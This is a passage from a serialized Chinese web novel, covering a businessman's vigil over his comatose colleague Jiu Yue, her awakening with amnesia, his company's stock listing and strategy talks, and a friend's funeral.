这段时间,我想了很多。人生里每走一步,都牵动着一根因果,走到今天,一切都不是偶然发生。无论给我怎样的惩罚,我都认。 我人生中最幸福的一段时光,就是跟你抱团取暖的那段岁月。是我自己不懂珍惜,害了自己也害了你。” 小竺哽咽失声,抽泣一会,抬头发现随她来的警察透过密封的窗户玻璃,指了指手腕上的表,她擦了擦眼泪,才又说道:“你快点醒来,就算不为了自己,你也”她想说“你也为了我”,想想自己不够格,指不定九月心里会怎么恨她。 于是顿了顿,改口道:“就算不为自己,也为了你心爱的尚云。他现在人不像人鬼不像鬼,整个人没有一点精气神,瘦得脱了相。我刚才都没认出他。你若是再不醒来,只怕他也要倒下了。” “我没有太多时间,马上就要走了。以后估计很久很久,都不能再见面,希望你好起来,一定要好起来。我当初劝你恋爱,说没有人比我更希望你幸福,这句话是莫诚教我说的,现在却是我想说的内心话。再见了九月,如果以后你还愿意见我。” 箫小竺起身,深深看了一眼九月,落寞离去。 箫小竺转身那一刻,从九月眼角滑落一滴泪水,隐入发际。 尚云进来的时候,又像以往那样坐在床前,握住她的手。无意间看到她眼角亮晶晶泪水,心中狂喜,随即打电话给医生。 医生给她做了一番检查,尚云问道:“医生,她是不是很快能醒了?” 其实,在医学上大脑受创手术后还保持长期昏迷不醒,有可能渡过危险期也会沦为植物人。植物人会流泪,也只是躯体的神经反射,而非精神和情绪反应。但极微小的可能性,也不排除病人仍有一定的意识。 医生不忍心告诉他这些理性的医学知识,毕竟唯有情感和信念才能创造医学上所不存在的奇迹,于是选择最能安慰他的说辞:“对,有这个可能。再观察一段时间,如果体症稳定就可以转普通病房了。经常陪她讲讲话,给躯体按摩活络血管和神经是有利恢复了。” “谢谢你医生。”尚云看到了希望,失去神采的眼睛再度有了光芒。 几天后,经过全面检查。九月被安排到普通病房,尚云给她要了一间单独病房。 岑妈会轮翻替代尚云来照顾九月,让他有时间喘息。尚云回来时,岑妈正在给九月的腿部按摩,病房里只有电视的声音。 “岑姨,你回去休息。让我来。”尚云说着,就要关电视。 岑姨阻拦道:“让她听听外界的声音,有助九月恢复。这里太安静了。” 尚云想了想,又将摇控器放回去。岑姨交代三两句,回去了。 这时液晶荧幕里播报着宝宁市上个月破获案件的重大延续新闻,厚山科技以及龙爷势力被警方连根拔起,一些旧案也被重新提上台面,进行清理。 “雷默投资经营的二十多家休闲场所、酒店全部查销停业,近日,厚山科技一案终于有所进展,经箫某指认,在西峰山地下仓库查获关押的小动物,且均已植入了生物监控,活体科技研究严重违反人道,祸害人间,研究成果在现场被销毁,主要犯罪人龙某、肖能、蔡志相关人等74人落网,均已认罪。 另外,在警方多方努力下,破获几起十数年来的几起旧命案。2003年滨香苑一处别墅命案,一家三口死于非命,经犯罪嫌疑人龙派认罪,系其授意已身亡的雷默前董事长箫章,威逼利诱保姆给女主人何某下了研制的药物,致使何媒出现幻觉,亲手杀害了自己的丈夫和儿子,随即自杀。 2008年安源大车祸,源于龙派授意手下的肖能,以猪油铺洒在路面,在车子刹车做了手脚,导致公交车失控翻下叉路口陡坡,死亡人达17人,重伤3人,轻伤6人。 2012年安源汽修厂” 尚云怔怔看着荧幕,泪眼模糊。 少顷,他神情恢复漠然,像往常一样走至病床前,给九月四肢做按摩。大颗大颗的泪滴在白色被罩上,不久,病房里传来他压抑而痛楚的呜咽。 第二百零九章 尚云将生死牌赠基克纳 当天晚上,尚云再次梦见老人,同样的地方,同样的谶言。“初年主家豪富,中年之后刑亲克友,除了15岁内的亲友可幸免于难,其他亲友无一幸免。若无大举善念化解,将三生三世命运反复,一辈子孤苦伶仃,六亲无缘,孤独终老之相啊!” 他被困在梦里,却依稀记得现实中发生的事物。疯了一般逃走,逃到一条河边,看到一席白衣的女子坐在石头上,光着脚踝戏水,身边蹲着一只猫。 他觉得不合礼数,便用手遮面,悄悄从后面走过。 没想到那白衣女人,回过头叫道:“明月将军,我在此等候多时。” 他没有放下遮面的衣袖,隔着布料问道:“姑娘认识在下?” “是我呀。九月。”她光着脚丫,踩在石头上,调皮地朝他眨眨眼,发出银铃般的笑声。 那不是九月又是谁? 思念之情仿佛从胸间迸发,他欣喜若狂跑过去,忘情抱起她,在那柔美和煦春光里转着圈,幸福填满心怀。 随着土地震动,一队铁面盔甲的骑士由远而近,不一会儿将他团团围住。 “皇上口谕,速将谋逆大臣斛律相国捉拿归案,罪恶滔天,诛连九族,如有违抗就地斩杀。” “你信口雌黄!” 为首者一声令下,众人围将过来,一柄柄红樱枪刺过来,他立即将九月拉至身后,腾跃而走,踢飞众人刀枪。那人飞身下马,缠住他。 众人便用红樱枪齐齐扎进九月身上,高高挑起,无数血支喷射而出。 九月连哼都来不及哼,便香消玉殒。 猫通灵性,一声尖叫,跳过来救主,也被人扔过去一柄刀,钉死在草地上。 “九月!”天地间传来他悲痛欲绝的呼喊。就在他分神的刹那,那人用马鞭勒住他的脖子,众卒拔出九月身上的红樱枪,转身扎进他身体里。 顿时,四肢百骸如暴裂了一般。倒下那一刻,他死不瞑目,仍盯着九月倒下的方向。 老人的话在山谷中一遍遍回响:“初年主家豪富,中年之后刑亲克友,除了15岁内的亲友可幸免于难,其他亲友无一幸免。若无大举善念化解,将三生三世命运反复,一辈子孤苦伶仃,六亲无缘,孤独终老之相啊!” 尚云终于从梦中挣脱,全身已被汗水浸透了,抚了抚脸,半是汗水半泪水。 月光从窗外洒进来,轻纱如烟。 他起身走至九月病床前,紧紧握住九月的手。“九月,马上就到夏季了。是你最喜欢的季节。晚上可以露营看星星,白天可以看漫山百花。我一直想问你,为什么你明明那么喜欢花,却从来没画过花。你觉得世界上越绚烂的事物越短暂,所以你常常画海,画山,画月,画一切可以恒久不变的景象。” 说完,他突然怔了半晌,又回想起她的“黑咖啡”理论。 世上最苦的不是未加糖的黑咖啡,而是幸福触手可及,我却不敢伸手。 一切美好的事物,她再喜欢,却不敢要,也不敢有所期待。 怕失去,怕失望,怕打碎。 尚云过了半晌,沉沉叹息:“我联系了国外一家医院,对你这种病情很有研究,成功治愈了很多人。所以,我想把你送去那家医院,我希望你能早日醒过来。另外,过几天我要回去工作了,我的办公地点也在国外,北美波士顿,离你不远。我每天会尽量少安排点工作,常去看你。你要是不说话,我就当你默许了。” 她的手柔软微凉,纤细盈弱,在他掌中很快被捂热。他帮她轻轻塞进被窝里。 半年后,宝宁市的风风雨雨终于再一次归复平静。 普世公司在行业中起了榜样作用,很多同行纷纷效仿学习他们的理念。将管理咨询的重心放在企业文化上,虽然不能在一切困境中都能起作用,但在绝大多数的绝境中,还是有效的。 普世主张用企业文化调动人与环境,人与企业,人与人的情感,激发人心中的无穷力量,中西长处合二为一,形成一套伟大的文化体系。 而经过普世公司调整过的客户企业,在几年之内都获得良性长足发展,让很多专家学者开始专门研究普世文化的企业文化。 在这种炙手可热的气势下,普世公司的发展也节节攀升。 木信再次启动上市申请,这次顺利通过。公司上市一开盘即迎来开门红。 木信按尚云原来拟定的计划,对股权一一作了安排。 基克纳的张董与贾总明确拒收普世赠送的股权。“你们已经连本带息的偿还所有借款,我们委实不能接受额外的股权。何况,当初出手相助,一是我等企业人应负的社会责任,也是基克纳集团一向遵循的利他原则和正直价值观;二是缘于尚总与普世公司为企业界做出巨大贡献,为世人筹谋万世之福,令人钦佩值得相助。我们今天若是接受这份回赠,有亏于自己内心那份信仰。” 尚云便亲自去了一趟深圳,当面详谈这样安排的原因。 “人无近忧必有远虑,公司上市之后难保百年太平,今天看似是馈赠股权,二位何不把它看作普世日后危难当头的保命牌?” 张董和贾总对视一眼,“何出此言?” 又听尚云说道:“不怕一万只怕万一,公司上市有利有弊,既能实现更大的发展和抱负,也同时掺杂太多外来资产和利益。如果公司在经营过程出现动荡或改革,我担心股东届时的心态变化,也难免涉及公司控股问题。在我能掌控的范围内一定不会让普世偏离,如若哪天生变,我失去普世的掌控权,那么你们手上的股权或许能起作用。所以,这些股权一为报答二位,二为给普世集团留的后援。” “既然尚总如此信任,将普世的生死牌放在我们手里,那就盛情难却,恭敬不如从命了。” 普世还沉浸在公司上市的欢愉之中,尚云并未表现出应有的喜悦,从深圳回到波士顿后跟往常一样,该出差就出差,该开会就开会,有活动也会参与。 在公司忙完手上的工作,一个人在办公室沉默,或思考。 尚云不在公司那段时间,木信独力扛下所有决策事务,领导魄力增长不少,因此很多事情他都放手让他去做。 他在海外召开全体高层视频会议,但不再有曾经那样高昂的激情,相比以往,现在的尚云有些沉重和过于冷静。 在会议上,他抛出自己的看法:“过去几年普世所遇到的起起伏伏,锁定目标一心求快,但现在公司体量在行业中已经算庞然大物,创建的文化一统品牌也为公众所接受。 现在公司已经上市,公司迈入新纪元,大家可能觉得获得了最高战役。一旦这么想,必然会自满松懈。上市意味着更大的责任,作为行业龙头企业,始终要关注自身成长,关注公司能创造的价值,也到了对已拥有的客户和做出来的业绩复盘的时候。” 高层屏息凝神,听尚云发言。 “今天我主要提出两个方向作为未来三年内咱们要重视并改革的地方。第一是提升效率;第二是降慢速度。这两件事看似有些矛盾,但其实就是一件事。关于具体怎么实施,昨天我跟木总经理私下开会讨论过,木信对公司的新方针有很好的见解和方案。下面把时间交给木总经理。” 木信显然是有备而来,打开ppt,讲解尚云提出的两个新方针。 “我国古人智慧中历来有这样的辩证思想论,“洼则盈,慢则快”。是说一个坑洼里,最容易积满雨水,平地反而盛载不了积水;做事速度慢但很细心,没有后顾之忧,总体看来,反而比不断回头补漏的人速度更快。 所以提升效率和降慢速度事实上就是一回事。我来讲下事情原理。” 第二百一十章 普世优化业务模式 “公司历来的规则是服务完客户,会在三年内不定时的回访,之后每三年会有一次定期回访,这很大程度上就损耗公司的人力、物力和精力。到现在为止我们服务过的客户越来越多,导致我们目前花在回访客户上的时间成为公司重大负担。 不是说这样做是错的,在过去这其实是一项很好的策略,既保证了客户对我们的信赖和黏性,也让客户看到我们的责任感和服务质量。 但现在不同了,过去的策略已经不适合现阶段公司的发展,如果我们能保障客户离开我们的扶持后,立马能独立运行,健康发展,后续就不会有如此多的麻烦。在每一个客户身上节省出一点时间,把效率提上去,减少落后的人肉战术,我们就赢得更多的时间去做项目升级,去做系统优化,提升竞争力。 这个叫做提升效率。 第二点是降慢速度,为什么我们在服务客户后三年内不敢放手,大家都很清楚,我们很多地方没有做好平衡支架,让客户依赖于我们的支撑。 所以,我们现在要做的事情就是去完善并且消除这个漏洞。想清楚怎样才能在我们完成服务后,就算锐减回访频率也不必担心客户存在的问题重蹈覆辙? 大家服务的时候不妨再细化,周详一些,改变一贯的方案模式,我们已经过了‘埋头往前冲’的阶段,不必急于求成,现在正是解决问题的好时机。 对于以上两点,须马上成立项目小组,研究这个问题,三个月后拿出可行性报告和方案,在半年之内试点实施并看到结果。” 对于木信提出来的两个观点,全体高层都深有感受。客户群体太过庞大,回访工作成了公司最大的负担,只能不断壮大规模,以保质保量地完成对客户的服务。 在公司高速发展期,公司有这样的实力去承担巨大的成本,但放眼未来发展,这绝对不是一个长久之计。只会加速拖垮公司。 木信说道:“各部门下班前提交成员上来,确定了人选就立即落实此事。各位有什么异议吗?” 都表示没有异议。 尚云道:“那今天会议就到这里,散会。” 木信走出会议室的时候,立即接到尚云的电话:“木信,我现在大部分时间不在总部,你一个人太辛苦了,我想找个人给你当副手。” 木信好奇的问:“找谁?” “琳达。”尚云道,“她为人正直,能力出众,而且具有国际思维。很符合我们寻觅的人才标准。不过她目前身上还有一些外企固化思维,我相信经过我们的入职培训,用公司的文化大溶炉锻造,她会改变的。” “尚总选的人,一定不会错。”木信本身对她就很赞赏,当即愉快答应。 “我后天要回国一趟,去西京大学出差,到时找她好好聊聊。” “你不方便的话,需要我去找她吗?” 尚云认真想了想:“本来想让你去搞定,但她是长辈,又曾是雷默集团董事长,必须要给足她尊重,表达十足诚意。所以我亲自回来一趟。” “也好。九月,她有没有好转?” “还是老样子。医生也正在做积极治疗,有可能一辈子都这样了,也有可能某天会毫无预兆地醒来。”尚云显得很平静,看来已经接受了这个结果。 木信点点头,说两句旁的,两人结束了通话。 尚云飞回国,如约而至去了西京大学。 他喜欢提前到场,这个习惯没变过。很久没来校园,看到青春洋溢的学子,心里升起一种感动。 时间差不多的时候,他跟校方取得了联系。 其实他不喜欢露面,但学生是即将踏入社会的新新人群,给他们普及良好的文化价值观不是坏事。因此,他也接受了国内关于商业访谈的电视节目组邀约,时间还没定。同样是为了向社会输出普世坚持的东西,他认为坚持这样的理念,也许理想中的文明会提前到来。 那天,他进了两个小时的演讲。 “最后,我还是补充一句,很最后,我还是补充一句,很多经历和劫难虽然在今天描述得轻描淡写,回想起来好像每个问题发生时,注定有解决方案。容易给同学造成一种创业很容易的错觉。 实际上创业之路并不平顺,那些解决方案也是在苦苦摸索中偶尔灵感所至。刚才有同学问,很多成功的企业家都鼓励大学生敢于挑战,敢于创新,敢于冒险,是不是每个人都适合创业? 这个问题其实是有前提的,如果你已经想好自己能干什么,想干什么,并且这件事视为你生命中最高追求,并能全力以赴去实现它,那么可以将它设为人生目标。注意,是人生目标,不一定能立刻实现它。 命运擅长埋伏笔,这是我半辈子的总结。走进社会,不要怕经历事,从经历中多总结,多思考,最后发现经历会变成财富。 很多同学面临毕业即将走入社会,可能正处于路有千万条、却不知该走哪一条的迷茫状态。你们的处境我当初也有,在这个过程中,你的初心仍旧不改,目标一直不变的话,就值得你想方设法去实现。希望以上的演讲内容能带给你们一点参考。” 开放提问环节,很多人踊跃举手示意,主持人示意一个一个来,将话筒递出去。 “尚老师您好,在我们看来,你现在所获得巨大成就可能很多人一辈子也无法企及,你认为自己目标是否实现,人生是否圆满了?” “圆满并非一定要取得傲人成绩才能得到。人生就是一场体验,即使这件事无法带给你世俗成就,如果是你心心念念想去做的事,相信你在此过程中能体会到生命的精彩,和别人无法剥离的纯粹幸福。 而且,每个人的价值观不一样,不是每个人栽树都是为了获取果实,可能有的人就享受栽树育苗的过程。拥有无悔人生就是圆满。” “尚老师您好,普世集团能有今天这样的国际地位,一路走来肯定是不容易的,刚才听你说起普世集团遇到很多困难,最终都得以解决。那么在最困难的阶段,是什么力量支撑你带领普世集团走过那段岁月?” “与其说是我带着普世集团走,不如说是团队推动着我朝前走。最困难的时候,是基克纳集团那样伟大的企业伸出援手,也是团队的凝聚力和创造力起到巨大推动作用的时候。这是普世集团能有今天这样规模和成就的主要原因,没有他们就没有普世集团,也没有站在这里的我。” “尚老师您好,我从小就梦想有一天拥有自己的事业,自己亲自带团队。目前我创业有一年了,虽然当下只有两名员工,但我相信团队会随着公司发展而逐渐壮大。那么,我想向尚老师取经,我该怎样做,才能打造出像普世集团这样的团队?” 对这位其貌不扬,边学习边创业的同学,尚云显然很惊讶,称赞道:“有志不在年高,后生可畏啊。俗话说,三句不离本行。这位同学的问题,我要从企业文化管理两阶段去回答你。每个阶段分为三个层次,内容可能会有点长,我不知道有多少同学在创业路上,有多少同学准备创业,所以说得越详尽越有助于你们的事业” 结果,尚云又用了差不多半小时,做到知无不言,言无不尽,才结束这次公开演讲。 第二百一十一章 九月醒转 下午又专程去找了琳达,尚云给孩子买了点吃的玩的交给琳达,让琳达感觉暖心。 谈话很顺利,琳达似乎也很乐意接受这个职位邀请。 孩子将近2岁了,专门请了一个保姆看护,每天亲舅舅莫诚下班回来第一件事,就是带着外甥玩,两人亲如父子。小磊很黏他,让她这个亲奶奶都眼红。 问起九月的事,莫诚也竖起耳朵听,得知九月仍然没有醒转,心下寂然。 从莫诚家里出来,尚云打开手机,发现有7个未接电话,是医院打过来的。 他心里咯噔一下,以为九月出事了,点了好几下,电话都没拨出去。 “尚先生,慕小姐已经醒了。情绪稍微有点起伏,一直嚷着要走。下午打您电话一直没有人接,幸好您的朋友过来了,现在正陪她说话。” 尚云将车停在路边,“你是说,她醒了?” “对。已经醒了。”医生重复道。 “谢谢你医生,今天回国出差,我马上回来。”尚云难得的露出笑容。 下了飞机,打车回医院时,天已擦黑。 尚云匆匆下车,一路小跑。到了病房时,九月又睡着了。岑妈在病房照看着她。见尚云回来,岑妈站了起来。 岑妈低声说道:“情绪比较激动,她好像不认识我们了,好不容易哄睡下。” 尚云不理解:“不认识?” 岑妈解释道:“我问过医生了,说她脑部中枪受损,可能是后遗症。就像很多人出现偏瘫、失语,这都是正常情况。也许时间长了,还是能慢慢能恢复。” “好,今天幸苦你了。”他紧皱眉头。 “没事,你吃饭没有,我给你打包上来。” “好,也给她带一份鸡汤。” “行。” 没多久,岑姨就送餐过来,多带了一桶鸡汤。 “尚先生,吃饭啦?”她笑问,脸上的褶子都在发光。 尚云微微一点头:“放那,我现在不饿。” “不用担心,都会好的。”岑姨安慰道。 床上的人这时眉收轻蹙,睁开了那双黑葡萄似的大眼睛,茫然看着床边的尚云:“你又是谁?” “九月,他是尚先生啊” “尚先生是谁?我什么都不记得,我有很多事要问我爸妈。” 见二人沉默了,她再度问道:“他们人呢?我没有家人吗?不是说我睡醒就能见到的嘛?”九月急了,一连串发问,泪水盈满眼眶,眩然若下。 “这个,尚先生就是你”岑姨一时为难,看看尚云。 “九月,你别急。今天太晚,他们没订到票。”尚云打断了岑妈的话,平静说道,“他们住在国内安源镇,这里是美国,距离太远。” “那你是谁?” “我叫尚云,你生病前是我公司的员工。” “哦。原来是我老板。”也许是尚云神色过于淡定,比较有可信度,九月安静下来。 岑姨趁机说:“喝点鸡汤。你需要调养身体。” 她安静的喝了一碗汤,便说已经饱了。尚云坐在一旁,看她将一碗汤喝完,给她递了一张纸巾,她接过时说了一声“谢谢。” “我跟他们说好了,等你再观察几天,身体没有异常,我就送你回国。你先睡会,有事叫我。”尚云给她盖好被子。 她沉沉睡去,呼息渐浅。他关掉灯,拧开床头小橘灯。 想来想去,尚云走出病房,在走廊阳台处拨通了朱明电话。 “尚云,九月怎么样了?”朱明接到他电话,便急忙问道。“你工作那么忙,每次想问,怕打扰你。” 尚云稍微整理下思路,说道:“九月今天下午醒了。不过,她什么都不记得了。” 朱明稍微通一点医理,听他这么说总体还是高兴的:“只要能醒过来就是好事。谢天谢地,终于醒了。我爸妈每次打电话都要问起九月的事,特别牵挂。什么时候回国?” “九月醒来情绪很激动,要见她的家人,父母。” 朱明愣了愣:“那” “我是这么想的,你和伯父伯母能否做九月的家人,哪怕是短期假装也行?我不忍心在她刚醒来就告诉她,家破人亡的真相,太残忍。” “当然可以,我爸爸之前就想收九月为义女。那我把这事告诉他们,他们一定很高兴。” “等等,我还有事要拜托你。” “什么?” 尚云默了默,说起自己三番两次出现在梦里的内容,然后说道:“以后,我只是她生病前那份工作的上司,我希望你能帮我隐瞒一切。” 朱明气道:“尚云,那只是一个梦,现实也不过是你内心的投射,都是偶然,巧合。你堂堂一个高材生,普世公司的董事长,怎么能这么迷信?” 他立即反驳道:“就算是迷信,也好过整天提心吊胆。”要多少偶然和巧合,才会让亲近的人一次次危在旦夕,一个个离开自己?“我之前贪心,已经赌过一次,差点害她失去性命。现在我已经没有勇气再赌一次。” “这对九月不公平!如果有一天,她醒来知道一切之后,你这样的举动该让她多失望?”朱明觉得不靠谱。 “我只希望她活着!活下去!”尚云突然激动道。 朱明一时沉默了。他见过九月刚出事那会,尚云生不如死的样子。 尚云几乎央求的语气道:“你是心理医生,能否给她潜意识创造记忆?让她彻底忘记关于我跟她之间的事。你一定有办法的对?” 朱明仍在犹豫。 尚云会意,恢复冷静:“没关系,只要你们能做九月的家人,帮我隐瞒下去,就已经是帮我大忙。我可以自己在美国这边找其他心理医生。” “可以,我帮你。”朱明说。 随后几天,在岑妈和理疗师的帮助下,九月已经能下床活动。 这天,尚云来医院时,没看到九月。护理员告诉他,九月独自在医院花园里散步。 夕阳西斜,九月坐在长椅上眯着眼,之前做手术将她的长发剃光了,现在也才半截手指头长。她嫌自己的头发太短不好看,岑姨给她买了一只帽子。 此时正一脸享受沐浴金色阳光,她略微红润的肌肤在阳光下晶莹剔透,光洁的额头和鼻尖被阳光照得发出光芒。 他轻轻走过去,没惊扰她,目光在她脸上流连,凝视这如梦幻般的场景。 许久后,她突然头一偏就倒向一边,他快步过去用手掌接住,一手扶肩,一只手护住她的头部。 两人近在咫尺,她睁开那双清澈大眼睛,像记忆中两人单独相处时一样,专注忘情地望着他。尚云心怦怦直跳,几乎就要深陷进去。 “你怎么出来了。”他心律不齐地扶正她,退开一步说道。 “我一直问问你。”她跳脱他的问话,说道:“我以前在工作上是个怎样的人?” 尚云说,“为什么这么问?” “我什么都想不起来,只能靠别人的印象确定自己的形象。”她有些沮丧。 她是个怎样的人,一句两句只怕说不清,也不便说清楚。尚云想了想,纯粹以上司的视角评价道:“你是普世公司非常优秀的员工,在普世最艰难的时候带着团队开疆辟土,立下过赫赫功劳。在工作上,只要你想达成的目标就一定会达成,大家都很钦佩你,包括我。” 她露出笑容,“怪不得您亲自照顾我,这么好的待遇不是谁都有的,对?” 尚云噎了一下,没肯定也没否定。“医生说你恢复得不错,我明天给你办出院手续,下午就送你回国,你就可以跟家人团聚了。” “好。”她眼睛亮了亮。 两人的时间出现了差异。九月心里的兴奋难以遮掩,拉着岑姨一会聊美食,一会聊穿搭,设想回家见到父母的场景。感叹时间太慢,恨不能马上就天亮。 第二百一十二章 尚云为阿闲举办葬礼 尚云坐在不远处,沉默不语。打开手提电脑,电视节目采访负责人发来电子邮件,出具了三个时间选项,让他回复选择合适的时间安排。 如此日常的邮件,他竟一时无法思考该怎样回复,耳朵里都里九月和岑姨聊话的内容。一会失神,一会儿拉回思绪重新整理头绪,目光时不时的瞄向电脑右下角的时间,每次看到时间变化都心惊肉跳。 发怔时,邮件不小心发了出去。而上面只有两个字,就是九月刚刚所说的“天亮”。 他大吃一惊,忙撤回邮件。 这个时候的中国正是白天工作时段,邮件立即被收件人点开,撤不回来了。 对方收到邮件,回过来一句受了惊吓的请示:“尚董,您是说天亮之后就访谈吗?可您傍晚里在电话中说明天下午才回国。能否明示?” 尚云同一时间镇定补救:“抱歉,手误。我明天回国,可以安排在第一个时间选项,后天。” 此时岑姨说先要回去整理行李了,尚云嘱咐她:“回去好好休息,明天的出院手续交给我。” 岑姨走后,九月意犹味尽的跟尚云聊起关于家的印象。 尚云关掉电脑,照着朱家的模子帮她刻画了一个立体印象。 “你很了解我家嘛。”九月惊叹道。 尚云说道:“我跟你哥是朋友。” “谢谢你,照顾我这么久。你是一个好上司。”九月正色道。 “应该的。” “世间哪有应该不应该,个人选择而已。” 她这几天以来一直处于傻甜白的懵懂状态,这句具有哲思的话说出来让尚云有些恍惚,仿佛能洞悉一切的九月回来了。 尚云陷入沉默。 她又说道:“听岑妈说普世公司已经做成集团上市公司。我想,应该是因为我的拖累,你才被拴在这个小城?我回国后,你有什么打算?” “话不能这么说。”尚云冷静应对道:“北美市场半年前受了动荡,我留在这边纯粹因为工作需要,送你回国后我的工作不会调整,还是会把重心放在这边。” “尚总不回总部了?” “总部那边有两个资深领头羊,木信和琳达。他们比我做的好。”他滴水不漏地说道:“欧州市场的研发成果在试点企业的试行期快要结束了,需要大量精力推广和大范围实施。杰克精力有限,无法兼顾北美市场了,我得留在这边。” 话音未落,看到她茫然的神情,他突然意识到自己将她当成从前的九月,“哦,我的意思是,我之前以及未来两三年内留在波士顿确实是工作需要,而不是因为任何人。” 她眼睑微垂,点点头:“那就好。” 室内寂静得只听见时钟“嗒嗒”声。 窗外黑云遮月,不一会儿传来隆隆雷声。尚云下意识心中一紧,抬头看了看对面,她纹丝不动。他悄悄松了一口气,失去记忆,她对惊雷没有太大反应。事实上,九月在出事前就已经对惊雷脱敏了。 “不早了,休息。”他起身说道。 九月乖顺的躺下。他像往常一样,给她盖好被子,关掉灯,拧开床头灯。 她突然问道:“尚总这样贴心照顾我,您的妻子会在意吗?” 暖色柔和的灯光里,她眸子里一派天真与疑惑,尚云脑海里浮现九月对金子玥跟自己的关系心有芥蒂,又撒谎忘带钥匙将自己从黛妮的生日会上叫回去,便说道:“她会在意,但我不告诉她。” 她突然灿然一笑,“我也帮您保密。” 尚云轻轻一笑,“快睡。” 他躺在展开的沙发床上,听着窗外的雷雨呼啸,竟一夜未眠。 天亮之后,拉开窗帘,室外雨过天晴,天高气爽。 顺利办了出院,上午岑姨没来医院,按尚云的吩咐,给九月置办了不少东西,装了满满几大行李箱,找人办了托运。她依然留在波士顿,照顾尚云的生活日常。 下午尚云和九月乘坐飞机抵达宝宁市机场。 朱明一家早候在机场,见到九月的那一刹那,朱挺和朱太太发自内心的高兴,迎上去拉着她的胳膊,原本就纤细的身板,如今更是瘦削。朱太太泪涌上来:“孩子,受苦了。” “妈?”九月不确定,试探性的叫了一声。 “唉!”朱太太应道。 九月拥住朱太太,哽咽道:“真好,真好。” 朱挺眼里也漾着雾水:“九月,让爸爸看看。” 九月松开朱太太,转头看看朱挺教授,又拥住这位老父亲:“爸。我什么都想不起来,怎么想,也想不起你们的样子,对不起。” “没事,回家就好,一切都会好起来的。” “这位是你哥哥。”朱挺指了指站在一旁红了眼眶的朱明。 九月歪着头打量他,叫了一声:“哥。” “爸妈你都抱了,怎么到我这里就没有拥抱的待遇了?”朱明故意抗议。 大家笑了。 她撇着嘴道,“哥,爸妈年纪大了不方便来看我,可是你也没来看我哦。” “我”朱明语塞。 尚云解围道:“他经常去看你,那时你还没醒。” “原来这样。”九月说着,过去抱住朱明,“你这位朋友人真好,人以群分,我哥肯定也是极好的人。” 朱明看了看尚云,后者撇开脸,看向别处了。 “那当然。”朱明说。“饿了,走,我们找个地方吃饭。” 一行人两辆车,离开了机场。 吃饭的时候,尚云接到电话,是刑警来电,说的关于阿闲的案子和尸骨安置事宜。 他神色稍显凝重:“我还有点事,得先走了。在国内会滞留两三天,到时抽空再跟大家聚聚,非常抱歉。” 朱挺教授说道:“没关系,你有事就放心去忙。” 朱明也起身,“我送送你。” 被尚云按了按他的手臂:“留步,你陪家人吃饭。给九月托运了一些东西,留的是你地址,到时麻烦查收。” 九月和朱太太正在小声说着体己话,这时也抬头望着尚云不语。尚云不敢看九月的眼睛,离开包厢,他去柜台把账结了,匆匆上车急驰而去。 尚云从刑警接到一只黑色包裹,没有火化,但也只剩一堆白骨了。警方经过dan比对,确定是阿闲的。 问及犯罪嫌疑人的处置,说认罪了正在走程序。“不过龙派、地鬼肖能、马鬼席浪、蔡志、山鬼王大山等那几个主要犯罪嫌疑人血案累累,难逃死刑,这是无疑的了。至于箫小竺自首有功,她在命案上几乎无参与,只涉及生物科技研发等案件,估计能判个十几二十年。具体要看司法判定。” “阿闲,听到了吗?你的任务完成了,你不用再对我父亲心怀愧疚。”他颤抖着手捧着包裹,心如刀割。以亡兄的名义给他举办了一个追悼会。 国内普世员工都参加了,国外的高层也来了。另外,除了合作伙伴和部分客户,宇琪和阿智出现在追悼会上,朱明带着九月、金仕集团以金志高为代表,带着胞妹金子玥、莫诚随着母亲琳达以及基克纳的张董和贾总陆续来到阿闲的追悼会上。 尚云在追悼会上发言,他心情沉重到无以复加,除了感谢众人来送阿闲一程,整个发言简单到只有一句话:“普世集团争取早日创造一个不需要英雄的时代,没有英雄,也意味着世界光明,无需牲牺。” 阿闲葬礼在初冬的暖阳举办,黄色和白色的菊花在风中瑟瑟抖动。 第二百一十三章 九月重逢普世故交 葬礼结束后,尚云看到远处的熟悉身影,超强大脑在记忆中转了一圈,想起他是东维恺。 穿着黑色的长衫,休闲装扮,头发也留了很长,倒也整洁。跟以往干练的职场精英形象搭不上边。 “尚总。我不知道自己该不该出现在这里,所以就没走近。” “谢谢你能来。”尚云牵牵嘴角,“那天去刑警队,听说你被箫小竺软禁,直到她自首才跟警方说出你的下落。你没受伤?” “都是小伤,是我对不起她,她怎么做都不过分。”东维恺惨然一笑,“一直想跟你道歉,那时给你和公司惹了麻烦,真对不起。” “都过去了,你现在怎么样?” “现在酒做调酒师,我原来也是做这行的,主要是感兴趣。”东维恺笑笑。 尚云理解地道:“无论什么职业,自己喜欢最重要。” “尚总说的对。我知道你挺忙的,就不打扰你了。”东维恺便告辞。 尚云目送他离开,才去停车场准备回去。九月却站在他的车旁边。 看到他过来,她明眸洁齿地一笑:“尚总。” “九月,你怎么一个人在这?”尚云四处张望,没看到朱明的身影。 九月乖巧地道:“让我哥先回去了。我明天要回安源镇了。来跟你道个别。” 尚云“哦”了一声,停了一会才说:“安源镇的节奏步调慢,又临海,在那里生安定从容,让人心胸辽阔,适合你现在的状态。” “我已忘记它的样子了。不过,既然它在你的描述里这么生动,如此美好,我应该会喜欢。”九月笑道。 “我送你回去。”尚云说。 “好。” 她坐在副驾驶,轻轻说:“我刚才遇见普世的员工,好多朋友。文菌人如其名,文雅内敛。说以前在公司公寓里跟我住同一层楼。对了,有个叫莫诚的人,他以前跟我关系很好吗?” 尚云注视着路况,听她这么问,不禁反问道:“怎么了?” 九月认真回想了下,说:“我走到哪儿他都远远地盯着我看,眼神有点伤感。后来我走过去,他自我介绍说叫莫诚,以前跟我一起入职普世公司,是同事也是朋友。” 尚云沉默的点点头。九月昏迷期间,莫诚曾经打过几次电话询问九月的病情,最后一次电话,正好是办出院手续那天。 九月失忆的事情,他是知道的。所以他刻意隐瞒不愉快的往事,也是一种默契。 “还遇到了任聪,他现在是公司绝无仅有的麒麟队队长,跟蓝鲸第一梯队地位齐平。他说以前我带着他们在姜城工作。我完全想不起来,他就把老欧、干周、书生、方仔带过来,他们很好玩,很有活力。以前跟们在一起工作,一定特别开心。”九月脸上笑容熠熠生辉。 看到尚云侧过脸偷偷抹眼角,她脸上的笑容僵住了:“尚总,你怎么了?” “没睡好,眼睛有点酸。” “哦。为了照顾我,真的辛苦你了。” “别这么说,都是应该的。你还遇到谁了?”尚云转移话题。 “嗯。”九月想了一下,说出一个名字:“肖宏。听文菌说他现是公司文创信息中心部的副部长,还是普世首席文创员,真的很优秀!” 九月无限向往:“他们个个都是顶极人才,跟这么多优秀人在一起工作,我在想,我以前是多幸运。” 